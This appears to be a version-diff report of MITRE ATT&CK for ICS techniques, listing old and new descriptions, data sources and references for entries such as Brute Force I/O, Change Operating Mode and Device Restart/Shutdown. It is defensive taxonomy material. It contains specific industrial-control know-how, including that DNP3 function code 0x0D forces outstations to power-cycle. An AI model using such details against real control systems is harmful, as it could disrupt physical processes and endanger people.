| x_mitre_platforms | Device Configuration/Parameters |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may brute force I/O addresses on a device and at | t | 1 | Adversaries may repetitively or successively change I/O poin |
| > | tempt to exhaustively perform an action. By enumerating the | > | t values to perform an action. Brute Force I/O may be achiev | ||
| > | full range of I/O addresses, an adversary may manipulate a p | > | ed by changing either a range of I/O point values or a singl | ||
| > | rocess function without having to target specific I/O interf | > | e point value repeatedly to manipulate a process function. T | ||
| > | aces. More than one process function manipulation and enumer | > | he adversary’s goal and the information they have about the | ||
| > | ation pass may occur on the targeted I/O range in a brute fo | > | target environment will influence which of the options they | ||
| > | rce attempt. | > | choose. In the case of brute forcing a range of point values | ||
| > | , the adversary may be able to achieve an impact without tar | ||||
| > | geting a specific point. In the case where a single point is | ||||
| > | targeted, the adversary may be able to generate instability | ||||
| > | on the process function associated with that particular poi | ||||
| > | nt. Adversaries may use Brute Force I/O to cause failures w | ||||
| > | ithin various industrial processes. These failures could be | ||||
| > | the result of wear on equipment, or damage to downstream equ | ||||
| > | ipment. | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-14 13:04:01.612000+00:00 |
| description | Adversaries may brute force I/O addresses on a device and attempt to exhaustively perform an action. By enumerating the full range of I/O addresses, an adversary may manipulate a process function without having to target specific I/O interfaces. More than one process function manipulation and enumeration pass may occur on the targeted I/O range in a brute force attempt. | Adversaries may repetitively or successively change I/O point values to perform an action. Brute Force I/O may be achieved by changing either a range of I/O point values or a single point value repeatedly to manipulate a process function. The adversary’s goal and the information they have about the target environment will influence which of the options they choose. In the case of brute forcing a range of point values, the adversary may be able to achieve an impact without targeting a specific point. In the case where a single point is targeted, the adversary may be able to generate instability on the process function associated with that particular point. Adversaries may use Brute Force I/O to cause failures within various industrial processes. These failures could be the result of wear on equipment, or damage to downstream equipment. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T806 | https://collaborate.mitre.org/attackics/index.php/Technique/T0806 |
| x_mitre_data_sources[0] | Alarm history | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Sequential event recorder | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Data historian | Operational Databases: Process History/Live Data |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | Packet capture |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may place controllers into an alternate mode of | t | 1 | Adversaries Adversaries may change the operating mode of a c |
| > | operation to enable configuration setting changes for evasiv | > | ontroller to gain additional access to engineering functions | ||
| > | e code execution or to inhibit device functionality. Program | > | such as Program Download. Programmable controllers typicall | ||
| > | mable controllers typically have several modes of operation. | > | y have several modes of operation that control the state of | ||
| > | These modes can be broken down into three main categories: | > | the user program and control access to the controller’s API. | ||
| > | program run, program edit, and program write. Each of these | > | Operating modes can be physically selected using a key swit | ||
| > | modes puts the device in a state in which certain functions | > | ch on the face of the controller but may also be selected wi | ||
| > | are available. For instance, the program edit mode allows | > | th calls to the controller’s API. Operating modes and the me | ||
| > | alterations to be made to the user program while the device | > | chanisms by which they are selected often vary by vendor and | ||
| > | is still online. By driving a device int | > | product line. Some commonly implemented operating modes are | ||
| > | o an alternate mode of operation, an adversary has the abili | > | described below: Program - This mode must be enabled before | ||
| > | ty to change configuration settings in such a way to cause a | > | changes can be made to a device’s program. This allows prog | ||
| > | Impact to equipment and/or industrial process associated wi | > | ram uploads and downloads between the device and an engineer | ||
| > | th the targeted device. An adversary may also use this alter | > | ing workstation. Often the PLC’s logic Is halted, and all ou | ||
| > | nate mode to execute arbitrary code which could be used to e | > | tputs may be forced off.(Citation: Forum Automation PLC Oper | ||
| > | vade defenses. | > | ating Modes October 2017) Run - Execution of the device’s pr | ||
| > | ogram occurs in this mode. Input and output (values, points, | ||||
| > | tags, elements, etc.) are monitored and used according to t | ||||
| > | he program’s logic. Program Upload and Program Download are | ||||
| > | disabled while in this mode.(Citation: Omrom PLC Different O | ||||
| > | perating Modes)(Citation: Machine Information Systems How PL | ||||
| > | Cs Work 2007)(Citation: Forum Automation PLC Operating Modes | ||||
| > | October 2017)(Citation: PLCgurus PLC Basics 2021) Remote - | ||||
| > | Allows for remote changes to a PLC’s operation mode.(Citatio | ||||
| > | n: PLCgurus PLC Basics 2021) Stop - The PLC and program is s | ||||
| > | topped, while in this mode, outputs are forced off.(Citation | ||||
| > | : Machine Information Systems How PLCs Work 2007) Reset - Co | ||||
| > | nditions on the PLC are reset to their original states. Warm | ||||
| > | resets may retain some memory while cold resets will reset | ||||
| > | all I/O and data registers.(Citation: Machine Information Sy | ||||
| > | stems How PLCs Work 2007)Test / Monitor mode - Similar to ru | ||||
| > | n mode, I/O is processed, although this mode allows for moni | ||||
| > | toring, force set, resets, and more generally tuning or debu | ||||
| > | gging of the system. Often monitor mode may be used as a tri | ||||
| > | al for initialization.(Citation: Omrom PLC Different Operati | ||||
| > | ng Modes) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
| name | Utilize/Change Operating Mode | Change Operating Mode |
| description | Adversaries may place controllers into an alternate mode of operation to enable configuration setting changes for evasive code execution or to inhibit device functionality. Programmable controllers typically have several modes of operation. These modes can be broken down into three main categories: program run, program edit, and program write. Each of these modes puts the device in a state in which certain functions are available. For instance, the program edit mode allows alterations to be made to the user program while the device is still online. By driving a device into an alternate mode of operation, an adversary has the ability to change configuration settings in such a way to cause a Impact to equipment and/or industrial process associated with the targeted device. An adversary may also use this alternate mode to execute arbitrary code which could be used to evade defenses. | Adversaries Adversaries may change the operating mode of a controller to gain additional access to engineering functions such as Program Download. Programmable controllers typically have several modes of operation that control the state of the user program and control access to the controller’s API. Operating modes can be physically selected using a key switch on the face of the controller but may also be selected with calls to the controller’s API. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below: Program - This mode must be enabled before changes can be made to a device’s program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLC’s logic Is halted, and all outputs may be forced off.(Citation: Forum Automation PLC Operating Modes October 2017) Run - Execution of the device’s program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the program’s logic. Program Upload and Program Download are disabled while in this mode.(Citation: Omrom PLC Different Operating Modes)(Citation: Machine Information Systems How PLCs Work 2007)(Citation: Forum Automation PLC Operating Modes October 2017)(Citation: PLCgurus PLC Basics 2021) Remote - Allows for remote changes to a PLC’s operation mode.(Citation: PLCgurus PLC Basics 2021) Stop - The PLC and program is stopped, while in this mode, outputs are forced off.(Citation: Machine Information Systems How PLCs Work 2007) Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers.(Citation: Machine Information Systems How PLCs Work 2007)Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.(Citation: Omrom PLC Different Operating Modes) |
| kill_chain_phases[0]['phase_name'] | evasion-ics | execution-ics |
| kill_chain_phases[1]['phase_name'] | inhibit-response-function | evasion-ics |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T858 | https://collaborate.mitre.org/attackics/index.php/Technique/T0858 |
| x_mitre_data_sources[0] | Alarm history | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Sequential event recorder | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network protocol analysis | Operational Databases: Device Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Forum Automation PLC Operating Modes October 2017', 'description': 'N.A.. (2017, October). What are the different operating modes in PLC?. Retrieved January 28, 2021.', 'url': 'https://forumautomation.com/t/what-are-the-different-operating-modes-in-plc/2489'} | |
| external_references | {'source_name': 'Omrom PLC Different Operating Modes', 'description': 'Omron. (n.d.). PLC Different Operating Modes. Retrieved January 28, 2021.', 'url': 'https://www.omron-ap.com/service_support/FAQ/FAQ00002/index.asp#:~:text=In%20PROGRAM%20mode%2C%20the%20CPU,can%20be%20created%20or%20modified.'} | |
| external_references | {'source_name': 'Machine Information Systems How PLCs Work 2007', 'description': 'Machine Information Systems. (2007). How PLCs Work. Retrieved January 28, 2021.', 'url': 'http://www.machine-information-systems.com/How_PLCs_Work.html'} | |
| external_references | {'source_name': 'PLCgurus PLC Basics 2021', 'description': 'PLCgurus. (2021). PLC Basics – Modes Of Operation. Retrieved January 28, 2021.', 'url': 'https://www.plcgurus.net/plc-basics/'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T807 | https://collaborate.mitre.org/attackics/index.php/Technique/T0807 |
| x_mitre_data_sources[0] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[2] | Network protocol analysis | Module: Module Load |
| x_mitre_data_sources[3] | Packet capture | Process: Process Creation |
| x_mitre_platforms[0] | Windows | Control Server |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Script: Script Execution | |
| x_mitre_platforms | Data Historian | |
| x_mitre_platforms | Field Controller/RTU/PLC/IED | |
| x_mitre_platforms | Human-Machine Interface | |
| x_mitre_platforms | Input/Output Server |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T885 | https://collaborate.mitre.org/attackics/index.php/Technique/T0885 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T884 | https://collaborate.mitre.org/attackics/index.php/Technique/T0884 |
| x_mitre_data_sources[0] | Process use of network | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Process monitoring | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Packet capture | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Windows | None |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Network protocol analysis |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T879 | https://collaborate.mitre.org/attackics/index.php/Technique/T0879 |
| x_mitre_platforms[0] | Windows | None |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T809 | https://collaborate.mitre.org/attackics/index.php/Technique/T0809 |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | File: File Deletion |
| x_mitre_data_sources[2] | Process monitoring | File: File Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may target and collect data from information rep | t | 1 | Adversaries may target and collect data from information rep |
| > | ositories. This can include sensitive data such as specifica | > | ositories. This can include sensitive data such as specifica | ||
| > | tions, schematics, or diagrams of control system layouts, de | > | tions, schematics, or diagrams of control system layouts, de | ||
| > | vices, and processes. Examples of target information reposit | > | vices, and processes. Examples of information repositories i | ||
| > | ories include reference databases and local machines on the | > | nclude reference databases or local machines in the process | ||
| > | process environment. | > | environment, as well as workstations and databases in the co | ||
| > | rporate network that might contain information about the ICS | ||||
| > | . Information collected from these systems may provide the a | ||||
| > | dversary with a better understanding of the operational envi | ||||
| > | ronment, vendors used, processes, or procedures of the ICS. | ||||
| > | In a campaign between 2011 and 2013 against ONG organization | ||||
| > | s, Chinese state-sponsored actors searched document reposito | ||||
| > | ries for specific information such as, system manuals, remot | ||||
| > | e terminal unit (RTU) sites, personnel lists, documents that | ||||
| > | included the string “SCAD*”, user credentials, and remote d | ||||
| > | ial-up access information.(Citation: CISA Chinese Gas Pipeli | ||||
| > | ne Intrusion 2011 - 2013 July 2021) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| description | Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of target information repositories include reference databases and local machines on the process environment. | Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of information repositories include reference databases or local machines in the process environment, as well as workstations and databases in the corporate network that might contain information about the ICS. Information collected from these systems may provide the adversary with a better understanding of the operational environment, vendors used, processes, or procedures of the ICS. In a campaign between 2011 and 2013 against ONG organizations, Chinese state-sponsored actors searched document repositories for specific information such as, system manuals, remote terminal unit (RTU) sites, personnel lists, documents that included the string “SCAD*”, user credentials, and remote dial-up access information.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T811 | https://collaborate.mitre.org/attackics/index.php/Technique/T0811 |
| x_mitre_data_sources[0] | Application logs | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Authentication logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[2] | Data loss prevention | File: File Access |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021', 'description': 'ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.', 'url': 'https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Third-party application logs | |
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T812 | https://collaborate.mitre.org/attackics/index.php/Technique/T0812 |
| x_mitre_data_sources[0] | Authentication logs | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Windows event logs | Logon Session: Logon Session Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may cause a denial of control to temporarily pre | t | 1 | Adversaries may cause a denial of control to temporarily pre |
| > | vent operators and engineers from interacting with process c | > | vent operators and engineers from interacting with process c | ||
| > | ontrols. An adversary may attempt to deny process control ac | > | ontrols. An adversary may attempt to deny process control ac | ||
| > | cess to cause a temporary loss of communication with the con | > | cess to cause a temporary loss of communication with the con | ||
| > | trol device or to prevent operator adjustment of process con | > | trol device or to prevent operator adjustment of process con | ||
| > | trols. An affected process may still be operating during the | > | trols. An affected process may still be operating during the | ||
| > | period of control loss, but not necessarily in a desired st | > | period of control loss, but not necessarily in a desired st | ||
| > | ate. (Citation: Reference - Corero) (Citation: Reference - S | > | ate. (Citation: Reference - Corero) (Citation: Reference - S | ||
| > | ANS - 201510) (Citation: Reference - RIoT) In the Maroochy | > | ANS - 201510) (Citation: Reference - RIoT) In the Maroochy | ||
| > | attack, the adversary was able to temporarily shut an invest | > | attack, the adversary was able to temporarily shut an invest | ||
| > | igator out of the network preventing them from issuing any c | > | igator out of the network preventing them from issuing any c | ||
| > | ontrols. | > | ontrols. In the 2017 Dallas Siren incident operators were un | ||
| > | able to disable the false alarms from the Office of Emergenc | ||||
| > | y Management headquarters. | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-21 16:29:26.506000+00:00 |
| description | Adversaries may cause a denial of control to temporarily prevent operators and engineers from interacting with process controls. An adversary may attempt to deny process control access to cause a temporary loss of communication with the control device or to prevent operator adjustment of process controls. An affected process may still be operating during the period of control loss, but not necessarily in a desired state. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network preventing them from issuing any controls. | Adversaries may cause a denial of control to temporarily prevent operators and engineers from interacting with process controls. An adversary may attempt to deny process control access to cause a temporary loss of communication with the control device or to prevent operator adjustment of process controls. An affected process may still be operating during the period of control loss, but not necessarily in a desired state. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network preventing them from issuing any controls. In the 2017 Dallas Siren incident operators were unable to disable the false alarms from the Office of Emergency Management headquarters. |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T814 | https://collaborate.mitre.org/attackics/index.php/Technique/T0814 |
| x_mitre_data_sources[0] | Alarm history | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Data historian | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[3] | Packet capture | Operational Databases: Process History/Live Data |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Sequential Event Recorder | |
| x_mitre_platforms | Windows |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gather information about the current operati | t | 1 | Adversaries may gather information about a PLC’s or controll |
| > | ng state of a PLC. CPU operating modes are often controlled | > | er’s current operating mode. Operating modes dictate what ch | ||
| > | by a key switch on the PLC. Example states may be run, prog, | > | ange or maintenance functions can be manipulated and are oft | ||
| > | stop, remote, and invalid. Knowledge of these states may be | > | en controlled by a key switch on the PLC (e.g., run, prog [p | ||
| > | valuable to an adversary to determine if they are able to r | > | rogram], and remote). Knowledge of these states may be valua | ||
| > | eprogram the PLC. | > | ble to an adversary to determine if they are able to reprogr | ||
| > | am the PLC. Operating modes and the mechanisms by which they | ||||
| > | are selected often vary by vendor and product line. Some co | ||||
| > | mmonly implemented operating modes are described below: Prog | ||||
| > | ram - This mode must be enabled before changes can be made t | ||||
| > | o a device’s program. This allows program uploads and downlo | ||||
| > | ads between the device and an engineering workstation. Often | ||||
| > | the PLC’s logic Is halted, and all outputs may be forced of | ||||
| > | f. Run - Execution of the device’s program occurs in this mo | ||||
| > | de. Input and output (values, points, tags, elements, etc.) | ||||
| > | are monitored and used according to the program’s logic. Pro | ||||
| > | gram Upload and Program Download are disabled while in this | ||||
| > | mode. Remote - Allows for remote changes to a PLC’s operatio | ||||
| > | n mode. Stop - The PLC and program is stopped, while in this | ||||
| > | mode, outputs are forced off. Reset - Conditions on the PLC | ||||
| > | are reset to their original states. Warm resets may retain | ||||
| > | some memory while cold resets will reset all I/O and data re | ||||
| > | gisters. Test / Monitor mode - Similar to run mode, I/O is p | ||||
| > | rocessed, although this mode allows for monitoring, force se | ||||
| > | t, resets, and more generally tuning or debugging of the sys | ||||
| > | tem. Often monitor mode may be used as a trial for initializ | ||||
| > | ation. | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| description | Adversaries may gather information about the current operating state of a PLC. CPU operating modes are often controlled by a key switch on the PLC. Example states may be run, prog, stop, remote, and invalid. Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. | Adversaries may gather information about a PLC’s or controller’s current operating mode. Operating modes dictate what change or maintenance functions can be manipulated and are often controlled by a key switch on the PLC (e.g., run, prog [program], and remote). Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below: Program - This mode must be enabled before changes can be made to a device’s program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLC’s logic Is halted, and all outputs may be forced off. Run - Execution of the device’s program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the program’s logic. Program Upload and Program Download are disabled while in this mode. Remote - Allows for remote changes to a PLC’s operation mode. Stop - The PLC and program is stopped, while in this mode, outputs are forced off. Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers. Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T868 | https://collaborate.mitre.org/attackics/index.php/Technique/T0868 |
| x_mitre_data_sources[0] | Network protocol analysis | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ForumAutomation PLC Operating Modes October 2017', 'description': 'N.A.. (2017, October). What are the different operating modes in PLC?. Retrieved January 28, 2021.', 'url': 'https://forumautomation.com/t/what-are-the-different-operating-modes-in-plc/2489'} | |
| external_references | {'source_name': 'Omron PLC Operating Modes', 'description': 'Omron. (n.d.). PLC Different Operating Modes. Retrieved January 28, 2021.', 'url': 'https://www.omron-ap.com/service_support/FAQ/FAQ00002/index.asp#:~:text=In%20PROGRAM%20mode%2C%20the%20CPU,can%20be%20created%20or%20modified.'} | |
| external_references | {'source_name': 'Machine Information Systems PLCs 2007', 'description': 'Machine Information Systems. (2007). How PLCs Work. Retrieved January 28, 2021.', 'url': 'http://www.machine-information-systems.com/How_PLCs_Work.html'} | |
| external_references | {'source_name': 'PLCgurus PLC Basic 2021', 'description': 'PLCgurus. (2021). PLC Basics – Modes Of Operation. Retrieved January 28, 2021.', 'url': 'https://www.plcgurus.net/plc-basics/'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may forcibly restart or shutdown a device in the | t | 1 | Adversaries may forcibly restart or shutdown a device in an |
| > | ICS environment to disrupt and potentially cause adverse ef | > | ICS environment to disrupt and potentially negatively impact | ||
| > | fects on the physical processes it helps to control. Methods | > | physical processes. Methods of device restart and shutdown | ||
| > | of device restart and shutdown exist as built-in, standard | > | exist in some devices as built-in, standard functionalities. | ||
| > | functionalities. This can include interactive device web int | > | These functionalities can be executed using interactive dev | ||
| > | erfaces, CLIs, and network protocol commands, among others. | > | ice web interfaces, CLIs, and network protocol commands. Une | ||
| > | Device restart or shutdown may also occur as a consequence o | > | xpected restart or shutdown of control system devices may pr | ||
| > | f changing a device into an alternative mode of operation fo | > | event expected response functions happening during critical | ||
| > | r testing or firmware loading. Unexpected restart or shutdo | > | states. A device restart can also be a sign of malicious dev | ||
| > | wn of control system devices may contribute to impact, by pr | > | ice modifications, as many updates require a shutdown in ord | ||
| > | eventing expected response functions from activating and bei | > | er to take effect. | ||
| > | ng received in critical states. This can also be a sign of m | ||||
| > | alicious device modification, as many updates require a shut | ||||
| > | down in order to take affect. (Citation: Research - Research | ||||
| > | - Taxonomy Cyber Attacks on SCADA) For example, DNP3's fun | ||||
| > | ction code 0x0D can reset and reconfigure DNP3 outstations b | ||||
| > | y forcing them to perform a complete power cycle. (Citation: | ||||
| > | Research - Research - Taxonomy Cyber Attacks on SCADA) In | ||||
| > | the 2015 attack on the Ukranian power grid, the adversaries | ||||
| > | gained access to the control networks of three different ene | ||||
| > | rgy companies. The adversaries scheduled disconnects for the | ||||
| > | uniterruptable power supply (UPS) systems so that when powe | ||||
| > | r was disconnected from the substations, the devices would s | ||||
| > | hut down and service could not be recovered. (Citation: Ukra | ||||
| > | ine15 - EISAC - 201603) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| description | Adversaries may forcibly restart or shutdown a device in the ICS environment to disrupt and potentially cause adverse effects on the physical processes it helps to control. Methods of device restart and shutdown exist as built-in, standard functionalities. This can include interactive device web interfaces, CLIs, and network protocol commands, among others. Device restart or shutdown may also occur as a consequence of changing a device into an alternative mode of operation for testing or firmware loading. Unexpected restart or shutdown of control system devices may contribute to impact, by preventing expected response functions from activating and being received in critical states. This can also be a sign of malicious device modification, as many updates require a shutdown in order to take affect. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) For example, DNP3's function code 0x0D can reset and reconfigure DNP3 outstations by forcing them to perform a complete power cycle. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) In the 2015 attack on the Ukranian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries scheduled disconnects for the uniterruptable power supply (UPS) systems so that when power was disconnected from the substations, the devices would shut down and service could not be recovered. (Citation: Ukraine15 - EISAC - 201603) | Adversaries may forcibly restart or shutdown a device in an ICS environment to disrupt and potentially negatively impact physical processes. Methods of device restart and shutdown exist in some devices as built-in, standard functionalities. These functionalities can be executed using interactive device web interfaces, CLIs, and network protocol commands. Unexpected restart or shutdown of control system devices may prevent expected response functions happening during critical states. A device restart can also be a sign of malicious device modifications, as many updates require a shutdown in order to take effect. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T816 | https://collaborate.mitre.org/attackics/index.php/Technique/T0816 |
| x_mitre_data_sources[0] | Sequential event recorder | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Alarm history | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network protocol analysis | Operational Databases: Device Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T817 | https://collaborate.mitre.org/attackics/index.php/Technique/T0817 |
| x_mitre_data_sources[0] | Packet capture | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Network device logs | File: File Creation |
| x_mitre_data_sources[2] | process use of network | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Web proxy | Process: Process Creation |
| x_mitre_platforms[0] | Windows | None |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | SSl/TLS inspection | |
| x_mitre_data_sources | Network intrusion detection system |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to leverage Application Program Inte | t | 1 | Adversaries may attempt to leverage Application Program Inte |
| > | rfaces (APIs) used for communication between control softwar | > | rfaces (APIs) used for communication between control softwar | ||
| > | e and the hardware. Specific functionality is often coded in | > | e and the hardware. Specific functionality is often coded in | ||
| > | to APIs which can be called by software to engage specific f | > | to APIs which can be called by software to engage specific f | ||
| > | unctions on a device or other software, such as <span class= | > | unctions on a device or other software. | ||
| > | "smw-format list-format "><span class="smw-row"><span class= | ||||
| > | "smw-field"><span class="smw-value">Change Program State</sp | ||||
| > | an></span></span></span> of a program on a PLC. | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| description | Adversaries may attempt to leverage Application Program Interfaces (APIs) used for communication between control software and the hardware. Specific functionality is often coded into APIs which can be called by software to engage specific functions on a device or other software, such as Change Program State of a program on a PLC. | Adversaries may attempt to leverage Application Program Interfaces (APIs) used for communication between control software and the hardware. Specific functionality is often coded into APIs which can be called by software to engage specific functions on a device or other software. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T871 | https://collaborate.mitre.org/attackics/index.php/Technique/T0871 |
| x_mitre_data_sources[0] | API monitoring | Module: Module Load |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to exploit public-facing application | t | 1 | Adversaries may leverage weaknesses to exploit internet-faci |
| > | s to leverage weaknesses on Internet-facing computer systems | > | ng software for initial access into an industrial network. I | ||
